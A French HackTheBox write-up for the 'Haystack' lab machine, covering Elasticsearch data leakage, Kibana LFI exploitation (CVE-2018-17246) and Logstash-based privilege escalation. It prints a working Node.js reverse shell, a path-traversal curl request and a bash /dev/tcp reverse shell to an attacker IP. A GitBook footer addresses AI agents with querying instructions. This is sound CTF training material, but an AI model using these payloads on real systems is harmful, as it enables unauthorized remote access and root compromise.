> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md).

# Compte rendu HackTheBox de Haystack

{% embed url="<https://app.hackthebox.com/machines/195>" %}

{% hint style="warning" %}
**Compétences**:

* Énumération d'ElasticSearch
* Fuite d'informations
* Énumération de Kibana
* Exploitation de Kibana (CVE-2018-17246)
* Abus de Logstash (élévation de privilèges)
  {% endhint %}

## Reconnaissance <a href="#reconnaissance" id="reconnaissance"></a>

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/93cc47bfb14afdaf0ff77006959c3e7635c26dd7" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/9a4866bca026c583f6096dc5e65b70f9bd1e73ef" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts
```

<figure><img src="/files/ad75f2f815ef6794bd05a8a27a467f9e0a2191f3" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (9200)

<figure><img src="/files/b3c6fa175c772e7284644b4e1502d20ec2ea5b81" alt="" width="563"><figcaption></figcaption></figure>

Analyse des versions des ports avec Nmap :

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted
```

<figure><img src="/files/2fbb851bdbae87edcffb4254b1834edd69d03636" alt=""><figcaption></figcaption></figure>

Pour résoudre les noms de domaine en adresses IP via DNS, nous insérons le nom de domaine associé à son adresse IP dans le `/etc/hosts` fichier :

<figure><img src="/files/17f201ca77763d7cd58bb2b6e7b356a69a2de8c2" alt="" width="563"><figcaption></figcaption></figure>

## Analyse des services exposés

### Port 80 - Fuite d'informations

**Extraction des métadonnées avec ExifTool**

<figure><img src="/files/a854bdf3f6336b1ace209c70539ab42c6d4802cc" alt="" width="563"><figcaption></figcaption></figure>

En analysant l'image trouvée sur le serveur avec `strings`, nous découvrons une chaîne encodée en base64 :

`bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

<figure><img src="/files/1e4852f7e3ec5074365be27784e3c20f35078d5f" alt=""><figcaption></figcaption></figure>

Une fois décodée, cette chaîne révèle le message suivant : *"l'aiguille dans la botte de foin est 'key'"*.

<figure><img src="/files/42a42168aca30c74d4fac6e6002275157eea4328" alt="" width="563"><figcaption></figcaption></figure>

### Elasticsearch - Fuite d'informations

#### Le port 9200 héberge ElasticSearch version 6.4.2.

<figure><img src="/files/406fd93210f82e81babc890542677bc90b35bd74" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
Elasticsearch est un moteur de recherche et d'analyse en temps réel utilisé pour indexer et rechercher rapidement de grands volumes de données. Il s'intègre à la stack ELK pour fournir des capacités avancées de visualisation et d'analyse des données.
{% endhint %}

<figure><img src="/files/687b5bb83c79750e4c84ca487c66f9372b5d17a6" alt=""><figcaption></figcaption></figure>

En accédant à `/_cat/indices?` URL, nous obtenons une liste d'indices avec leurs UUID. Pour extraire le contenu d'un index, nous utilisons l'URL suivante :

`http://haystack.htb:9200/<index>/_search?pretty=true&size=1000`

<figure><img src="/files/fff20ceea4d077dbe6ae37adafa94376523ca3e9" alt=""><figcaption></figcaption></figure>

**Filtrage des données avec Curl**

En utilisant l'index `quotes` et en filtrant sur le mot-clé du challenge, des informations pertinentes sont trouvées :

```bash
curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave"
```

<figure><img src="/files/5535803dce423803e769ac7d3d57768a5cc78a00" alt=""><figcaption></figcaption></figure>

**Décodage de chaînes encodées en base64**

Nous obtenons deux chaînes encodées en base64 qui, une fois décodées, révèlent les informations d'identification :

```bash
echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo
echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo
```

<figure><img src="/files/818e627ab435157f285e6880ef9e8de2e042584f" alt=""><figcaption></figcaption></figure>

**Utilisateur :** `security`/ **Mot de passe :** `spanish.is.key`

### Connexion SSH

Avec les identifiants récupérés, nous nous connectons à la machine cible via SSH et accédons à l'utilisateur :

```bash
ssh security@10.10.10.115
```

<figure><img src="/files/7463eb2f58e7619afcb990cd33cb825e0428a184" alt=""><figcaption></figcaption></figure>

### Drapeau user.txt :)

<figure><img src="/files/52a6cd1f29a003553b4a40415f8a38d3ace82baf" alt="" width="520"><figcaption></figcaption></figure>

**Une fois l'accès au serveur Linux obtenu, voici les commandes à exécuter pour le traitement dans le terminal :**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

**Cela vous permettra de travailler beaucoup plus efficacement et, surtout, plus confortablement.**

## Élévation de privilèges :

### Kibana (transfert de port)

**Étape 1 : Identification des ports ouverts**

Tout d'abord, nous observons les ports ouverts en interne à l'aide de la commande suivante :

```bash
netstat -nltp
```

Nous remarquons que le port **5601** attire notre attention.

<figure><img src="/files/90d850c1e1cd7046daf0d04e7c2c52c1a68d4523" alt=""><figcaption></figcaption></figure>

En effectuant une `curl` requête sur ce port, nous obtenons une page HTML de Kibana :

{% hint style="info" %}
**Kibana** est un logiciel de tableau de bord de visualisation de données prêt à l'emploi pour Elasticsearch
{% endhint %}

<figure><img src="/files/b84d4d7133e58189c893302c66c19746e83af0e6" alt=""><figcaption></figcaption></figure>

**Étape 2 : Transfert de port pour accéder à Kibana**

Nous allons rediriger le port interne du serveur **5601** vers notre machine locale pour y accéder via notre navigateur. Cette redirection peut se faire via SSH avec la commande suivante :

```bash
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N
```

Cela redirige le port local 5601 de la machine cible vers le port 5601 de notre propre machine, permettant un accès direct

<figure><img src="/files/6b03a6dfec077c9bb0a04de5c31d0b435abce6d3" alt=""><figcaption></figcaption></figure>

**Étape 3 : Vérification de la version de Kibana**

En accédant à `http://localhost:5601/api/status`, nous observons le numéro de version de Kibana : **6.4.2**. Cette version est vulnérable à une **Inclusion de fichiers locaux (LFI)** attaque, identifiée comme **CVE-2018-17246**.

<figure><img src="/files/6f227fcb1a34e2e275db6878f5ff5914e15b44ee" alt=""><figcaption></figcaption></figure>

### Exploitation de Kibana (CVE-2018-17246)

{% embed url="<https://github.com/mpgn/CVE-2018-17246>" %}

**Étape 4 : Exploiter la vulnérabilité**

Pour exploiter cette vulnérabilité, nous allons créer un fichier JavaScript pour obtenir un shell inversé. Dans le `/tmp` répertoire de la machine cible, créez un fichier nommé `rev.js` avec le code suivant :

<pre class="language-javascript"><code class="lang-javascript"><strong>function(){
</strong>    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Empêche l'application Node.js de planter
})();
</code></pre>

Ce script établira une connexion avec votre machine sur le port **443** pour ouvrir un shell.

**Étape 5 : Redirection du flux vers un fichier**

Ensuite, redirigez le flux vers le `/dev/shm/rev.js` fichier avec la commande suivante :

```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```

**Étape 6 : Écouter sur le port pour le shell inversé**

Sur votre machine, démarrez un listener sur le port **443** pour intercepter le shell inversé :

```bash
nc -nlvp 443
```

Une fois connecté, vous aurez un shell sur la machine cible, permettant l'élévation de privilèges.

<figure><img src="/files/61f3eaeef7f5d926585a2016e1c879f89c322697" alt=""><figcaption></figcaption></figure>

## Abus de Logstash

Nous recherchons tous les fichiers accessibles avec l'utilisateur `kibana`:

```bash
find / -user kibana 2>/dev/null | grep -vE "usr|var|proc"
```

<figure><img src="/files/f7646f146105c24f270009d2e6232deb070cbdb3" alt="" width="563"><figcaption></figcaption></figure>

En accédant à Logstash, nous découvrons trois fichiers de configuration :

* `filter.conf`
* `input.conf`
* `output.conf`

<figure><img src="/files/8475649256445d6c93e3700dbf1d0d02518c7293" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
En résumé, Logstash exécute une tâche cron qui vérifie toutes les 10 secondes si un fichier nommé `logstash_*` existe dans le `/opt/kibana/` répertoire. Si un fichier correspondant est trouvé et contient une commande avec une entrée spécifique, sous la forme :
{% endhint %}

`"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

<figure><img src="/files/6ca536a0b05e97c9a38282d1a40ef2a10a5a89c4" alt=""><figcaption></figcaption></figure>

Pour exploiter cette vulnérabilité, nous créons un fichier nommé `logstash_exec` dans le `/opt/kibana/` répertoire avec le contenu suivant :

```bash
bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
```

Ensuite, nous écoutons sur le port 4444 et obtenons l'accès root.

<figure><img src="/files/66610f7e82ee30c0b2b10cb737c3e415bf63fcbc" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="/files/2a95db162f20bee8828c90d6a530d071e3ea05a8" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/720823d7c30b2b5877dc0d0cfc683769f450965b" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
